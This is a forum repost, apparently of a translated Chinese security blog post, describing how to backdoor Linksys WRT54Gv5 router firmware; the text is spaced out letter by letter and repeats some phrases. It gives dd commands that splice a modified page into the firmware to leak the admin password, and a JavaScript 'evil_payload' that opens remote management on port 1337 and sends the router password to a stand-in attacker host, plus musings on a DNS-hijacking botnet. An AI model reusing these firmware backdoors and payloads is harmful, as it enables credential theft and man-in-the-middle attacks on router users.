搜索

[8382] 2014-10-28_CiscoLinksys无线路由固件安全分析与后门研究

文档创建者：s7ckTeam
浏览次数：27
最后更新：2025-01-17
2014-10-28_CiscoLinksys无线路由固件安全分析与后门研究 C i s c o   L i n k s y s 无 线 路 由 固 件 安 全 分 析 与 后 门 研 究 嘎 巴 嘎 巴   F r e e B u f   2 0 1 4 - 1 0 - 2 8 最 近 我 对 嵌 入 式 设 备 安 全 方 面 比 较 感 兴 趣 ， 所 以 我 决 定 找 点 东 西 练 练 手 ， 于 是 我 在 淘 宝 上 搜 了 一 下 ， 发 现 最 近 我 对 嵌 入 式 设 备 安 全 方 面 比 较 感 兴 趣 ， 所 以 我 决 定 找 点 东 西 练 练 手 ， 于 是 我 在 淘 宝 上 搜 了 一 下 ， 发 现 L i n k s y s W R T 5 4 G v 5 无 线 路 由 比 较 流 行 ， 决 定 就 拿 这 个 下 手 了 无 线 路 由 比 较 流 行 ， 决 定 就 拿 这 个 下 手 了 。 首 先 要 做 的 就 是 对 固 件 开 始 逆 向 ， 看 一 下 它 的 内 部 构 件 都 是 什 么 玩 意 儿 。 这 个 过 程 我 也 发 现 了 这 是 一 件 多 么 令 人 蛋 疼 的 事 情 ， 因 为 l i n k s y s 本 身 已 经 不 再 承 载 固 件 了 ， 另 外 ， 由 于 版 权 保 护 的 问 题 ， 也 没 人 跟 我 一 样 这 么 做 。 这 些 事 简 直 蠢 到 家 了 ， 不 过 最 终 我 还 是 偶 然 发 现 了 一 个 固 件 副 本 ， 然 后 用 它 给 我 的 路 由 器 刷 了 固 件 以 便 分 析 时 与 硬 件 保 持 一 致 ， 然 后 就 开 始 上 手 了 。 分 析 分 析 在 看 了 不 少 d e v t t y s 0 . c o m 博 客 上 讲 的 东 西 之 后 ， 我 决 定 用 b i n w a l k 来 分 析 固 件 文 件 。 下 面 是 分 析 后 的 结 果 ： 下 面 是 分 析 后 的 结 果 ： m a n d a t o r y @ m a n d a t o r y s - b o x : ~ / R e v e r s i n g / 5 v _ L i n k s y s - W R T 5 4 G v 5 $   b i n w a l k   F W _ W R T 5 4 G v 5 v 6 _ 1 . 0 2 . 8 . 0 0 1 _ U S _ 2 0 0 9 1 0 0 5 . b i n D E C I M A L   H E X   D E S C R I P T I O N 5 1 2   0 x 2 0 0   E L F   3 2 - b i t   L S B   M I P S - I I   e x e c u t a b l e ,   M I P S ,   v e r s i o n   1   ( S Y S V )   1 0 1 6 4 8   0 x 1 8 D 1 0   C o p y r i g h t   s t r i n g :   "   1 9 8 4 - 1 9 9 6   W i n d   R i v e r   S y s t e m s ,   I n c . I n c . "   1 0 3 6 6 4   0 x 1 9 4 F 0   L Z M A   c o m p r e s s e d   d a t a ,   p r o p e r t i e s :   0 x 6 C ,   d i c t i o n a r y   s i z e :   8 3 8 8 6 0 8   b y t e s ,   u n c o m p r e s s e d   s i z e :   3 6 8 0 8 6 4   b y t e s   1 1 8 2 6 9 2   0 x 1 2 0 B E 4   T R O C   f i l e s y s t e m ,   1 0 2   f i l e   e n t r i e s   1 1 8 5 1 5 3   0 x 1 2 1 5 8 1   g z i p   c o m p r e s s e d   d a t a ,   w a s   " a p p l y . h t m " ,   f r o m   N T F S   f i l e s y s t e m   ( N T ) ,   l a s t   m o d i f i e d :   F r i   S e p   4   0 3 : 4 5 : 5 8   2 0 0 9 { e p o c h : 1 2 5 2 0 5 0 3 5 8 }   1 1 8 5 8 9 2   0 x 1 2 1 8 6 4   g z i p   c o m p r e s s e d   d a t a ,   w a s   " a p p l y 1 . h t m " ,   f r o m   N T F S   f i l e s y s t e m   ( N T ) ,   l a s t   m o d i f i e d :   F r i   S e p   4   0 3 : 4 5 : 5 8   2 0 0 9 { e p o c h : 1 2 5 2 0 5 0 3 5 8 } 完 整 的 戳 这 完 整 的 戳 这 h t t p : / / p a s t e b i n . c o m / r a w . p h p ? i = 1 F n P L 3 F v 看 完 这 个 之 后 我 觉 得 自 己 还 是 很 幸 运 的 ， 下 面 简 单 地 说 一 下 这 些 东 西 代 表 的 含 义 ： 看 完 这 个 之 后 我 觉 得 自 己 还 是 很 幸 运 的 ， 下 面 简 单 地 说 一 下 这 些 东 西 代 表 的 含 义 ：
0 × 2 0 0 偏 移 之 后 是 M I P S   b o o t l o a d e r ； 0 x 1 8 D 1 0 偏 移 之 后 是 W i n d   R i v e r   S y s t e m s   I n c 版 权 声 明 ， 这 行 很 重 要 因 为 他 们 做 了 我 手 上 这 个 路 由 的 操 作 系 统 V x w o r k s   O p e r a t i n g   S y s t e m ； 0 x 1 9 4 F 0 偏 移 之 后 是 V x w o r k s   O S / 文 件 系 统 ， 不 过 我 现 在 暂 时 没 能 力 反 汇 编 （ 没 有 文 档 化 的 大 文 件 系 统 肯 定 不 好 搞 ） ； 一 堆 类 似 于 a p p k y . h t m 这 样 g z i p 压 缩 的 普 通 文 件 ； 直 观 上 来 看 ， f i r m w a r e 是 这 样 分 布 的 ： [   B o o t l o a d e r   ]   [   C o p y r i g h t   S t r i n g   ]   [   V x W o r k   O S   &   F i l e s y s t e m   ]   [   T R O C   F i l e s y s t e m   E n t r y   ]   [ g z i p e d   h t m / i m a g e   f i l e s   ] 有 个 现 象 比 较 幸 运 ， 那 就 是 实 际 上 这 些 压 缩 着 的 普 通 文 件 都 是 一 个 紧 接 着 一 个 的 ， 这 样 我 们 就 知 道 了 每 个 文 件 都 是 从 哪 里 开 始 然 后 从 哪 里 结 束 的 ， 这 些 偏 移 可 以 通 过 不 同 文 件 类 型 中 内 置 的 M a g i c   N u m b e r 来 推 算 出 的 ， 就 是 利 用 几 个 特 殊 的 b y t e 来 标 识 出 文 件 类 型 。 举 个 例 子 ， g z i p 的 M a g i c   N u m b e r 是 1 f   8 b   –   b i n w a l k 找 到 这 几 个 数 然 后 在 二 进 制 文 件 中 对 这 些 文 件 进 行 定 位 。 然 后 逻 辑 上 来 讲 ， 我 们 可 以 用 同 样 大 小 的 二 进 制 数 据 来 替 换 这 些 文 件 （ 要 依 据 于 固 件 更 新 后 文 件 的 绝 对 位 置 ） ； 开 搞 开 搞 一 个 小 小 的 d d 命 令 就 可 以 从 路 由 器 固 件 中 摘 出 来 一 个 . h t m 文 件 ， 其 实 b i n w a l k 也 有 内 置 的 导 出 函 数 用 来 提 取 文 件 ， 不 过 我 没 有 操 作 成 功 （ 你 可 以 试 一 下 ） ； d d   i f = f i r m w a r e . b i n   b s = 1   s k i p = [ O f f s e t ]   c o u n t = [ N e x t   O f f s e t   -   C u r r e n t   O f f s e t ]   o f = o u t p u t _ f i l e n a m e 我 们 先 来 搞 一 点 简 单 的 ， 先 把 U n a u t h o r i z e d . h t m 和 l a s t p a s s w o r d . h t m 这 两 个 文 件 提 取 出 来 ， 我 特 么 完 全 不 知 道 l a s t p a s s w o r d . h t m 这 个 文 件 为 毛 会 在 固 件 里 面 出 现 ， 但 是 它 可 以 把 当 前 路 由 里 面 的 管 理 密 码 以 文 本 的 格 式 输 出 啊 ！ 可 能 是 程 序 员 开 发 固 件 的 时 候 不 小 心 留 下 了 这 么 个 逗 逼 的 调 试 用 文 件 。 l a s t p a s s w o r d . h t m ： < H T M L > < H E A D > < M E T A   h t t p - e q u i v = C o n t e n t - T y p e   c o n t e n t = " t e x t / h t m l ;   c h a r s e t = i s o - 8 8 5 9 - 1 " > < / H E A D > < B O D Y > < P R E > L a s t   P a s s w o r d   :   < T R I _ S T A R T _ L A S T P S W > [ T R I _ L A S T _ P A S S W O R D ] < T R I _ E N D _ L A S T P S W > < / P R E > < / B O D Y > < / H T M L > 你 应 该 注 意 到 了 l a s t p a s s w o r d . h t m 里 面 的 这 些 东 西 ： < T R I _ S T A R T _ L A S T P S W > [ T R I _ L A S T _ P A S S W O R D ] < T R I _ E N D _ L A S T P S W > 这 个 标 签 将 会 被 路 由 的 当 前 密 码 代 替 ， 所 以 我 们 也 许 就 能 把 这 个 放 到 U n a u t h o r i z e d . h t m 里 面 ， 这 样 无 论 密 码 怎 么 变 我 们 都 能 有 路 由 的 管 理 权 限 ； 还 记 得 不 ， 我 们 有 点 蛋 疼 的 地 方 就 是 要 保 证 替 换 的 文 件 要 和 以 前 的 大 小 一 样 ， 因 为 . h t m 文 件 将 会 被 压 缩 ， 所 以 问 题 出 在 这 个 地 方 ， 不 过 还 好 ， 可 以 解 决 。 一 番 捯 饬 之 后 ， 我 们 最 终 搞 成 这 个 样 子 ： < H T M L > < B O D Y   B G C O L O R = " # c c 9 9 9 9 " >   < H 4 > 4 0 1   U n a u t h o r i z e d < / H 4 > < ! - - < T R I _ S T A R T _ L A S T P S W > [ T R I _ L A S T _ P A S S W O R D ] < T R I _ E N D _ L A S T P S W >   - - >
然 后 l s 一 下 看 一 下 文 件 大 小 ： 9 6 9 9 4 6 8       1 2   - r w - r - - r - -   1 4 4   O c t   1 8   1 4 : 4 4   U n a u t h o r i z e d . h t m . g z 9 6 9 9 4 6 7       1 2   - r w - r w - r - -   1 4 4   O c t   1 8   1 4 : 1 3   U n a u t h o r i z e d _ o r i g i n a l . h t m . g z 现 在 再 看 一 下 以 前 b i n w a l k 后 的 结 果 ： 1 3 3 8 0 9 6                   0 x 1 4 6 A F 0                 G I F   i m a g e   d a t a ,   v e r s i o n   " 8 9 a " ,   1 9 2   x   6 4 1 3 4 0 9 4 3                   0 x 1 4 7 6 0 F                 g z i p   c o m p r e s s e d   d a t a ,   w a s   " U n a u t h o r i z e d . h t m " ,   f r o m   N T F S   f i l e s y s t e m   ( N T ) , l a s t   m o d i f i e d :   F r i   S e p     4   0 3 : 4 6 : 0 3   2 0 0 9 1 3 4 1 0 8 7                   0 x 1 4 7 6 9 F                 g z i p   c o m p r e s s e d   d a t a ,   w a s   " U p g r a d e . h t m " ,   f r o m   N T F S   f i l e s y s t e m   ( N T ) ,   l a s t m o d i f i e d :   F r i   S e p     4   0 3 : 4 6 : 0 3   2 0 0 9 1 3 4 4 5 8 5                   0 x 1 4 8 4 4 9                 g z i p   c o m p r e s s e d   d a t a ,   w a s   " U p g S t a t . h t m " ,   f r o m   N T F S   f i l e s y s t e m   ( N T ) ,   l a s t m o d i f i e d :   F r i   S e p     4   0 3 : 4 6 : 0 3   2 0 0 9 然 后 我 们 把 固 件 从 U n a u t h o r i z e d . h t m 中 间 劈 开 ， 加 上 我 们 的 文 件 再 组 合 在 一 起 ： #   C u t   o f f   f i r s t   h a l f   o f   f i r m w a r e   r i g h t   b e f o r e   U n a u t h o r i z e d . h t m . g z d d   i f = F W _ W R T 5 4 G v 5 v 6 _ 1 . 0 2 . 8 . 0 0 1 _ U S _ 2 0 0 9 1 0 0 5 . b i n   b s = 1   c o u n t = 1 3 4 0 9 4 3   o f = f i r s t _ h a l f #   C u t   o u t   t h e   s e c o n d   h a l f   o f   t h e   f i r m w a r e   r i g h t   a f t e r   U n a u t h o r i z e d . h t m . g z d d   i f = F W _ W R T 5 4 G v 5 v 6 _ 1 . 0 2 . 8 . 0 0 1 _ U S _ 2 0 0 9 1 0 0 5 . b i n   b s = 1   s k i p = 1 3 4 1 0 8 7   o f = s e c o n d _ h a l f #   A d d   o u r   b a c k d o o r e d   U n a u t h o r i z e d . h t m . g z   t o   t h e   f i r m w a r e c a t   U n a u t h o r i z e d . h t m . g z   > >   f i r s t _ h a l f #   P u t   t h e   p i e c e s   t o g e t h e r c a t   s e c o n d _ h a l f   > >   f i r s t _ h a l f C o o l ！ 然 后 我 们 再 检 查 一 下 确 保 自 己 所 有 的 步 骤 都 是 对 的 然 后 开 始 升 级 固 件 ： 我 承 认 第 一 次 搞 这 个 有 点 小 紧 张 ， 总 害 怕 不 好 使 ， 但 是 很 荣 幸 ， 刷 完 固 件 之 后 成 功 了 ！ 登 录 一 下 ：
然 后 取 消 进 去 U n a u t h o r i z e d . h t m 页 面 ： F 1 2 ： m a n d a t o r y 即 为 路 由 密 码 ！ P e r f e c t ！ 然 后 现 在 我 们 就 有 了 一 个 比 较 隐 秘 的 控 制 路 由 器 的 方 式 ， 但 是 这 个 东 西 不 好 大 范 围 搞 ， 我 们 怎 么 样 才 能 做 出 来 一 个 类 似 于 僵 尸 网 络 一 样 的 p a y l o a d 呢 ？ 后 门 后 门 我 看 了 一 下 别 人 写 的 p a y l o a d ， 最 终 决 定 用 J S 来 写 后 门 ， 因 为 J S 的 跨 平 台 性 很 好 。 而 且 J S 内 建 了 足 够 多 的 函 数 来 让 我 们 随 意 更 改 配 置 ， 爱 咋 用 咋 用 。 虽 然 我 们 没 法 去 控 制 路 由 器 来 去 D D o s ， 但 是 我 们 可 以 更 改 路 由 器 的 D N S ， 控 制 了 D N S 我 们 就 可 以 来 对 路 由 器 的 使 用 者 做 中 间 人 攻 击 。 这 是 因 为 大 部 分 的 计 算 机 都 直 接 采 用 了 路 由 器 选 择 的 D N S ， 所 以 你 简 简 单 单 控 制 了 一 台 路 由 就 相 当 于 黑 了 一 片 P C ， 这 个 案 例 就 相 当 于 Z l o b   t r o j a n ， 事 实 也 证 明 了 这 个 东 西 具 有 极 大 的 杀 伤 力 。 开 搞 。 路 由 设 置 页 面 的 主 页 是 b a s i c . h t m 文 件 ， 一 旦 用 户 登 录 就 立 即 被 重 定 向 到 这 个 页 面 ， 所 以 如 果 我 们 把 后 门 加 到 这 个 页 面 就 会 有 极 大 的 命 中 率 ， 我 们 制 作 一 个 发 送 用 户 名 和 密 码 到 我 们 控 制 的 服 务 器 上 的 p a y l o a d ， 同 时 开 启 远 程 认 证 端 口 1 3 3 7 。 编 了 点 J S 代 码 ， 然 后 我 们 手 里 就 有 货 了 ： f u n c t i o n   e v i l _ p a y l o a d ( ) {         x m l   =   n e w   X M L H t t p R e q u e s t ( ) ;         x m l . o p e n ( ' P O S T ' ,   ' h t t p : / / a d m i n : < T R I _ S T A R T _ L A S T P S W > [ T R I _ L A S T _ P A S S W O R D ] < T R I _ E N D _ L A S T P S W > @ 1 9 2 . 1 6 8 . 1 . 1 / m a n a g e . t r i ' ) ;         v a r   p a r a m s   =   " r e m o t e _ m g t _ h t t p s = 0 & h t t p _ e n a b l e = 1 & h t t p s _ e n a b l e = 0 & P a s s w d M o d i f y = 0 & h t t p _ p a s s w d = d 6 n w 5 v 1 x 2 p c
7 s t 9 m & h t t p _ p a s s w d C o n f i r m = d 6 n w 5 v 1 x 2 p c 7 s t 9 m & _ h t t p _ e n a b l e = 1 & w e b _ w l _ f i l t e r = 1 & r e m o t e _ m a n a g e m e n t = 1 & h t t p _ w a n p o r t = 1 3 3 7 & u p n p _ e n a b l e = 1 & l a y o u t = e n " ;         x m l . s e t R e q u e s t H e a d e r ( " C o n t e n t - t y p e " ,   " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d " ) ;         x m l . s e t R e q u e s t H e a d e r ( " C o n t e n t - l e n g t h " ,   p a r a m s . l e n g t h ) ;         x m l . s e t R e q u e s t H e a d e r ( " C o n n e c t i o n " ,   " c l o s e " ) ;         x m l . s e n d ( p a r a m s ) ;         t h b   =   n e w   X M L H t t p R e q u e s t ( ) ;         t h b . o p e n ( ' G E T ' ,   ' h t t p : / / H a c k e r S e r v e r . c o m / h u e . p h p ? p = < T R I _ S T A R T _ L A S T P S W > [ T R I _ L A S T _ P A S S W O R D ] < T R I _ E N D _ L A S T P S W > ' ) ;         t h b . s e n d ( ) ; } 这 两 个 r e q u e s t 里 面 ， 我 们 开 启 了 远 程 控 制 端 口 ， 然 后 把 用 户 名 和 密 码 发 送 到 了 我 们 控 制 的 主 机 上 。 然 后 用 上 面 同 样 地 方 法 我 们 把 这 个 后 门 添 加 到 固 件 里 面 （ 记 住 ， 大 小 一 定 要 一 样 ） 。 刷 固 件 ， 然 后 ， w a l l a h ！ [ g i f 动 图 ， 请 戳 ： h t t p : / / b l o g . d e p r e s s e d m a r v i n . c o m / i m a g e s / 2 0 1 4 / 1 0 / 0 8 / r o u t e r _ b a c k d o o r . g i f ] 当 然 ， 这 只 是 个 p r o o f ， 真 正 后 门 在 做 的 时 候 应 该 会 可 以 C & C 来 实 时 控 制 路 由 的 D N S   S e r v e r 。 比 你 想 的 要 容 易 的 多 吧 ， 事 实 上 ， 我 之 后 又 分 析 了 一 些 路 由 器 固 件 ， 有 同 样 的 问 题 存 在 。 下 次 再 会 。 [ 原 文 来 自 原 文 来 自 l i n k s y s - w r t 5 6 g - b a c k d o o r - p a y l o a d ， ， F r e e B u f 小 编 嘎 巴 搬 运 ， 转 载 请 注 明 来 自 小 编 嘎 巴 搬 运 ， 转 载 请 注 明 来 自 F r e e B u f . C O M ] 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理